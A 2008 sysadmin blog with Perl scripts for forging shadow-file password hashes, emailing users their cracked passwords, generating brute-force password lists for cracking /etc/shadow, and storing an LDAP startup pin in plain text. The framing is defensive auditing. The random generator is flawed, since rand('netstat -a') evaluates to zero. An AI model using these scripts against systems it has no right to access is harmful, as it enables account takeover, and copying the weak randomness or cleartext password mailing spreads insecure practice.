Today, we're going to look at something similar, but different enough that it warrants its own post: How to generate the encrypted string (given a user name and password) that you can use to manually edit your Linux or Unix system's shadow file and change someone's password. Of course, you'd need elevated privileges (or a means to get them) in order to do this. But, for the purposes of this post, we'll just assume you do.

Looking at this ethically, it's a good way to get yourself out of a sticky situation if you garble the root password and have to boot off of CD into single user mode and "have to" manually edit the shadow file so you can log back in!

Basically, the script below accepts two forms of input, which we've elected to read from STDIN. This can be easily modified to take arguments, although we chose this method so that the password you were trying to recreate the encrypted field for wouldn't show up in anyone else's "ps" output.

The nature of DES is such that, for virtually every invocation of this script, given the exact same username and password, you'll end up generating an entirely unique string. However, when this is decrypted by the "crypt" function on your OS, each unique string will resolve to the same password you entered each and every time.

Of course, we don't officially endorse cutting and pasting into your shadow file (and strongly recommend you run "pwconv" afterward if you have to), but hopefully this little reverse-password-cracking Perl script will help save your bacon at least once :)

Best wishes and enjoy,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# encrypted password field generator
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

print "Enter a user name: ";
$name = <STDIN>;
system("stty -echo");
print "Password: ";
$pass = <STDIN>;
system("stty echo");
print "\n";

chop($name);
chop($pass);
print &cryptPwd($name,$pass);
print "\n";

sub cryptPwd
{
local($cp_name,$cp_passwd) = @_;
@cp_saltine = ('a' .. 'z','A' .. 'Z', '0' .. '9','.','/');

$now = time();
($cp_name_pt1, $cp_name_pt2) = unpack ("C2",$cp_name);
$week = $now / (60*60*24*7) + $cp_name_pt1 + $cp_name_pt2;
$cp_numsalt = $cp_saltine[$week % 64] . $cp_saltine[$now % 64];
$cp_cryptpass = crypt($cp_passwd,$cp_numsalt);
return($cp_cryptpass);
}



, Mike




Wednesday, February 20, 2008

Starting SSL LDAP At Boot Time Without Interaction

Howdy,

Here's something people don't gripe enough about ;) Actually the problem is only common if you work in a shop that runs the iPlanet Administration Server (Formerly, Netscape LDAP) and you have it set up to run securely using TLS or SSL, and you have it set up so that you need to enter a password to start it up. That's a lot of "and"s. Okay, only 2. I'm exaggerating ;)

Having a secure LDAP setup (which runs as the "slapd" process) is good enough without the extra authentication needed to start it up. It's good to know that this is only optional. Depending on your requirements, you may or may not want to make it necessary for someone to know a password in order to start the service, assuming they already have the proper credentials and system privilege. You'll still enjoy the benefits of secure network authentication (for users accessing the database) and encryption of the trasmitted data (for the LDAP requests and responses).

If it makes you feel more secure (or your site security requires it), setting up the TLS/SSL keys for LDAP easily allows you enter that additional password. In fact, it automatically prompts you and makes you go out of your way to type enter twice in order to have a "blank" password (which, in this case, is equivalent to no password at all).

The most common issue this causes (We're not going to go into key setup or port access issues here today) is a failure to boot non-interactively. For instance, if you have LDAP set to start up in an init script called S99ldapstart, with a line like this:

/opt/ldap/slapd-server1-636/start-slapd

and you issue:

/etc/rc2.d/S99ldapstart

while you're logged in, you'll be prompted to enter the security password to start the server. Once you enter the password, the server starts up as normal. This is all well and good if you're on the machine and running the script through an interactive shell, however it won't work at all when the "rc" program tries to run this script at boot time. That sort of situation is analagous to you entering the start command (as above) and then just sitting there and never entering the password you're being prompted for. The secure LDAP server will never start.

Fortunately, even though the answer doesn't seem to be widely available (although it is packed away in online manuals, etc), it is relatively easy to implement and works like a charm. The only downside is that you put yourself at odds with the extra security you've added to the process (by insisting on the startup password) by having to store the password in a plain-text file that (if compromised) will give anyone who can access it the password you don't want them to have!

Deriving our settings from the above information (LDAP Base directory is: /opt/ldap and Server base directory is: /opt/ldap/slapd-server1-636) and accepting, for the purposes of this demonstration, that our secure startup password is "Bingo" (All passwords are case sensitive. Capitalization counts :) we can do the following at the command line, and set ourselves up for hands-free secure LDAP startups forever (or until we change the password):

host # echo "Internal (Software) Token:Bingo" >/opt/ldap/alias/slapd-server1-636-pin.txt
host # chmod 400 /opt/ldap/alias/slapd-server1-636-pin.txt


And that's it :) The most important thing to remember, since you can do this for any SSL/TLS enabled LDAP server instance, is the format of both the "name" and the "contents" of the file that will hold that password.

1. The name of the file must be of the form:

$LDAP_ROOT/alias/$LDAP_SERVER-pin.txt

Where (for this example) LDAP_ROOT=/opt/ldap and the LDAP_SERVER=slapd-server1-636. If it's not named like that, iPlanet Directory Server will not recognize it.

2. The contents of the file must be compact. No spaces are allowed anywhere they're not explictily shown here, in this example, including at the end of the line. Any deviation from this rule-of-thumb may make it so that your secure LDAP server doesn't recognize the password and reverts back to the prompt, leaving you with a server hung at startup. The password must be of the form "Token:PASSWORD" with no spaces.

Once you've done this once or twice, it's a walk in the park. Every time you need to boot your server, you can be sure that your secure LDAP servers will start up properly. Since this setup is so exacting in its requirements, it's also pretty simple to troubleshoot if breaks :)

Cheers,

, Mike




Monday, February 4, 2008

Perl Script To Mail Users JTR Password Warnings

Hey there,

Today's post harkens back to an earlier post regarding a popular password cracking program called John The Ripper (JTR).

This Perl script we've put together for today will run equally well on Unix or Linux and takes the output file of a JTR run as its input. Then, it mails every account with a cracked password a little reminder note. The default filename JTR uses to save the passwords its cracked is called john.pot, so I'll use that in our example. You can, theoretically, change that output file name (which would change this script's input file name) to whatever you want.

You'd run the following script like so:

./pwwarn.pl <john.pot

You'll note that we're not reading the ARGV array to get the argument for the file name in the script, but rather reading from the standard input file descriptor (STDIN or <>). This should make it easier to integrate into any larger Perl script you've already written.

Hopefully this will help save you some administrative hassle. Also, hopefully, the automated password generation used to print the "threat password" (as in: You really don't want us to change it to this, do you? ;) will work to bring people over to your side of the security fence.

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

# pwwarn.pl
# Take output from JTR and send reminders via
# email to folks with really bad passwords
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

$tripwire = 0;
while ( <> ) {
if ( $_ =~ /^Loaded/ ) {
$tripwire = 1;
}
if ( $_ =~ /^Subject/ ) {
$hostname = $_;
chomp($hostname);
$hostname =~ s/.*Cracked on (.*)/$1/;
}
next if ( ! $tripwire );
next if ( $_ =~ /^Loaded/ );
next if ( $_ =~ /^guess/ );
next if ( $_ =~ /^ * *$/ );
push(@passwd, $_);
}

foreach $entry (@passwd) {
if ( $entry =~ /\(/ ) {
$entry =~ s/\(//;
$entry =~ s/\)//;
@entrees = split(/\s+/,$entry);
$entries{$entrees[1]} = $entrees[0];
}
}
foreach $key ( sort {$a <=> $b} keys %entries ) {

$random = rand('netstat -a'*10000);
$count=0;
$newpassword = "";
while ( $count < 8 ) {
$tester = rand('netstat -a')*100;
if ( $tester < 33 ) {
$tester += 33;
} elsif ( $tester > 93 ) {
$tester -= 7;
}
$newpassletter = sprintf("%c", $tester);
$newpassword .= $newpassletter;
$count++;
}
$newpassword =~ s/ ?//g;

open(MAILER, "|/usr/lib/sendmail -t ${key}\@xyz.com");
select MAILER;
print MAILER "Subject: Cracked Password\n";
print MAILER "From: sysadmin\@xyz.com\n";
print MAILER "Reply-To: sysadmin\@xyz.com\n";
print MAILER "This is an automatically generated notice.\n";
print MAILER "Do not reply to this letter.\n";
print MAILER "Replies will not be answered.\n";
print MAILER "\n";
print MAILER "The password for your account on $hostname was\n";
printf("cracked in %2.2f seconds.\n", $random);
print MAILER " username: $key\n";
print MAILER " password: $entries{$key}\n";
print MAILER "\n";
print MAILER " In the best-case scenario, a malicious user\n";
print MAILER "could have logged in as you and performed operations\n";
print MAILER "as you. In the worst-case scenario, someone could\n";
print MAILER "have logged in as you and used your account to wage\n";
print MAILER "an attack against this machine or other machines on \n";
print MAILER "the network.\n";
print MAILER " Please change your password immediately. After a\n";
print MAILER "certain amount of warnings, your password will be changed\n";
print MAILER "for you to something ugly like:\n";
print MAILER "\n";
print MAILER " $newpassword\n";
print MAILER "\n";
print MAILER " If you want to change it, and do not know how, please\n";
print MAILER "contact help\@xyz.com\n";
print MAILER "\n";
print MAILER " Remember, the security of the entire network depends on the\n";
print MAILER "security of its parts.\n";
print MAILER "\n";
print MAILER " Thank you,\n";
print MAILER " System Administration\n";
print MAILER "\n";
}


, Mike




Friday, January 18, 2008

Script To Generate All Possible Passwords With Perl

In Yesterday's post, we took a look at how it's possible to use Perl to deal with generating random passwords, and that post was meant to link in with its preceding post. While it, technically, fulfilled that requirement, it took a while to elaborate on scripting out random passwords so I tried to keep on point, since it turned out to be a post's worth of information in itself.

With that in mind, in today's post, we're going to look at another part of the password puzzle: Generation of all possible passwords within a given numeric range. This might otherwise be referred to as brute-force password generation (which is the reason I wrote it using brute-force scripting :). What we're going to accomplish today is to create a simple "password generator" script that will allow us to generate all possible passwords (or all possible combinations of the 94 standard ASCII characters that make up valid passwords) up to an 8 character password. This has been tested on both Solaris Unix and RedHat Linux. One day, I'll stop compulsively typing that. If a script works in Perl, using that language's basics, its a given that it will work on most Unix/Linux systems you can install it on.

Please bear in mind that using this program is simple, but, depending on how you use it, it may take up all of your disk space and lots of your computer's time ;)

By way of explanation: This script produces one entry per line into a file, so that you could feed that file to a program like the one we looked at in this post.

Now, if we were to run it with the following arguments (we'll call it 8gen.pl for whatever goofy reason I pick the names I pick for my scripts ;)

host # ./8gen.pl 1 >OUTPUT <--- Note that, especially when running with larger number arguments, you should redirect the script output to a file, rather than "tee" it off, since viewing the tty/pty buffer as password combinations are generated could introduce a giant lag between completion of the script's execution and your getting a shell prompt back!

it would generate, in under a second, a file 94 lines long, with each line containing 1 of each of the 94 characters available (Please see the script's @94 array to check out all the variables. It's too insane to type over and over again ;), like this:

host # wc -l OUTPUT
host # 94 OUTPUT

These numbers (both the size of the list in lines and the amount of time it takes to run the program) increase with each added level. They both increase exponentially which is more evident to the user if you're running an 8 character execution than if you're running a 2 character execution.

Let's say we decide we want to list out all possible 2 letter passwords. We would do this:

host # ./8gen.pl 2 >OUTPUT

And check out how big that gets (all combinations from aa to ??):

host # wc -l OUTPUT
host # 8836 OUTPUT

Just to be sure we're right about this, let's check with the standard Linux and Unix "dc" utility by typing:

host # echo 94 2 ^ p | dc
host # 8836


and see that using 2 characters is actually the 94 original characters to the exponent of 2. This theory relates to every level you go up. So running it for all combinations of 4 letter passwords would be the 94 characters to the exponent of 4 as demonstrated here:

host # echo 94 4 ^ p | dc
host # 78074896
host # ./8gen.pl 4 >OUTPUT
host # wc -l OUTPUT
host # 78074896 OUTPUT

And the time to wait for your list to generate? It may very well be exponentially longer. If you're going to run a 4 character execution, go grab a cup of coffee. If you're going to run an 8 character execution, depending on your machine, you might as well go home, get some rest and come back in to work the next day. Then it might be halfway done ;) I've never had the patience or desire to try and sneak this in at work and the boxes I have at home would take weeks to run this (94 to the 8th power will generate 6,095,689,385,410,816 unique passwords).

Example running on a SunFire v490 with 4 x 1350Mhz CPU and 32GB RAM:

host # time ./8gen.pl 2 >OUTPUT
real 0m0.47s
user 0m0.04s
sys 0m0.38s
host # time ./8gen.pl 4 >OUTPUT
real 5m59.03s
user 5m37.10s
sys 0m2.86s

Once you've created a master password file, like so:

host # ./8gen.pl 8 >OUTPUT

you can use the OUTPUT file with the "pwdcheck" Perl script we introduced a few posts ago. Then, assuming you have the root privilege required to access and read your /etc/shadow file, you can set that on auto (perhaps trim the print statements so "pwdcheck" only prints out matches) and will eventually guess everyone's password. At this point, it's really only a matter of time, because you will be checking every possible combination of 94 possible characters in all 8 positions of the password. You can prove this to yourself simply by grepping any valid 8 character string from your OUTPUT file. It will be there (trust me)!

host # grep sN@gg3r$ OUTPUT
host # sN@gg3r$
...


Note that this also assumes that your password system is limited to an 8 character boundary, like Sun's standard. If you wanted to run up against more advanced password systems with better encryption and longer possible passwords, you'd just need to use your scripting abilities to modify both scripts slightly in order to achieve the same end result.

This Perl script should hopefully be a helpful tool in your constant fight against lame passwords. And, as always, though it can be used for less than ethical purposes, please understand that I only put this stuff out to try and help other admins like myself make their workplace more secure. Since any disgruntled lunatic can use these same methods to make your work-life miserable, you owe it to yourself to know how to do it, too.

Knowledge is power. If you know what your adversary knows, you're doing better than most :)

Enjoy,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# 8gen.pl - generate all possible password
# combinations up to 8 characters
# Usage: 8gen.pl Password_Length (1 - 8)
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

if ( $#{ARGV} < 0 ) {
print "\nUsage: $0 password_length\n";
print "Only 8 characters please. This is\n";
print "going to take a long time as it is!\n";
exit(1);
}

$pass_length = $ARGV[0];

@94 = qw(a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z ` 1 2 3 4 5 6 7 8 9 0 - = [ ] \ ; ' , . / ~ ! @ # $ % ^ & * ( ) _ + { } | : " < > ?);

if ( $pass_length < 1 || $pass_length > 8 ) {
print "Usage: $0 password_length\n";
print "Only 8 characters please. This is\n";
print "going to take a long time as it is!\n";
}

$a = $b = $c = $d = $e = $f = $g = $h = 94;

if ( $pass_length == 8 ) {
for ($a=0;$a<94;$a++) { for ($b=0;$b<94;$b++) { for ($c=0;$c<94;$c++) { for ($d=0;$d<94;$d++) { for ($e=0;$e<94;$e++) { for ($f=0;$f<94;$f++) { for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
printf("%s%s%s%s%s%s%s%s\n", $94[$a], $94[$b], $94[$c], $94[$d], $94[$e], $94[$f], $94[$g], $94[$h]);
} } } } } } } }
} elsif ( $pass_length == 7 ) {
for ($b=0;$b<94;$b++) { for ($c=0;$c<94;$c++) { for ($d=0;$d<94;$d++) { for ($e=0;$e<94;$e++) { for ($f=0;$f<94;$f++) { for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
printf("%s%s%s%s%s%s%s\n", $94[$b], $94[$c], $94[$d], $94[$e], $94[$f], $94[$g], $94[$h]);
} } } } } } }
} elsif ( $pass_length == 6 ) {
for ($c=0;$c<94;$c++) { for ($d=0;$d<94;$d++) { for ($e=0;$e<94;$e++) { for ($f=0;$f<94;$f++) { for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
printf("%s%s%s%s%s%s\n", $94[$c], $94[$d], $94[$e], $94[$f], $94[$g], $94[$h]);
} } } } } }
} elsif ( $pass_length == 5 ) {
for ($d=0;$d<94;$d++) { for ($e=0;$e<94;$e++) { for ($f=0;$f<94;$f++) { for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
printf("%s%s%s%s%s\n", $94[$d], $94[$e], $94[$f], $94[$g], $94[$h]);
} } } } }
} elsif ( $pass_length == 4 ) {
for ($e=0;$e<94;$e++) { for ($f=0;$f<94;$f++) { for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
printf("%s%s%s%s\n", $94[$e], $94[$f], $94[$g], $94[$h]);
} } } }
} elsif ( $pass_length == 3 ) {
for ($f=0;$f<94;$f++) { for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
printf("%s%s%s\n", $94[$f], $94[$g], $94[$h]);
} } }
} elsif ( $pass_length == 2 ) {
for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
printf("%s%s\n", $94[$g], $94[$h]);
} }
} elsif ( $pass_length == 1 ) {
for ($h=0;$h<94;$h++) {
printf("%s\n", $94[$h]);
}
}


, Mike




Thursday, January 17, 2008

Perl Random Password Generator For Linux and Unix

As we noted in yesterday's post, we took a look at how it's possible to use Perl on Linux and Unix to try and find whether or not any given password exists within a system's /etc/shadow file.

In today's post, we're going to look at another part of the password puzzle: Password generation. This is slightly different than sequential password generation (which we'll look at tomorrow), in that the passwords that are generated are intended to annoy ;) In other words, the probability that any of these passwords could be found in a shadow password file is highly unlikely. And, if you did find one, I don't know if it would be grounds for penalty. That user would have an unbelievable secure password under any other circumstance!

This code has been tested on Solaris Unix and RedHat Linux and works almost every time (I can't speak to the infinite, but it hasn't failed me yet ;)

This script makes use of Perl's built-in rand function, which works in much the same way as the standard Unix or Linux random function does. The rand function is fed some slightly random data (certainly not good enough to seed any viable encryption) and generates random ASCII characters.

I wrote this up so that it can be invoked simply by its name, like so:

./pwdgen

and requires no argument. This script will pump out 8 character garbage passwords, like this:

O[W291,A
21&V-*4Q
('$\9@:<
YU="M1A>
;<<WG@(>
...


and it will go on forever until you either kill it or it finds that it has created a duplicate. Check it out, enjoy it and feel free to improve upon it. A simple change can make it so it only spits out a certain number of random passwords.

If you use it creatively, you can incorporate it with other Linux and Unix shell scripts to provide input for password cracking programs. Although, as I mentioned above, if I found any of these passwords among my users' passwords, I certainly wouldn't complain ;) Tomorrow we'll look at a way to generate real passwords (kind of like JTR does) that can be fed to the script we looked at yesterday to do some in-house brute-force password cracking against your shadow database file. Again; this sort of shell scripting is only recommended for security enhancement!

Best Wishes,

#!/usr/bin/perl

#
# pwdgen - Create insane 8 character passwords to
# encourage users to beef up their password strength
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

for ( $i = 1; $i > 0 ; $i++ ) {
$random = rand('netstat -a'*10000);
$count=0;
$newpassword = "";
while ( $count < 8 ) {
$tester = rand('netstat -a')*100;
if ( $tester < 33 ) {
$tester += 33;
} elsif ( $tester > 93 ) {
$tester -= 7;
}
$newpassletter = sprintf("%c", $tester);
$newpassword .= $newpassletter;
$count++;
}
$newpassword =~ s/ ?//g;
if ( exists $passwords{$newpassword} ) {
print "Found a pattern on step $i with password $newpassword\n";
exit;
} else {
$passwords{$newpassword} = $i;
}
print "$newpassword\n";
}


, Mike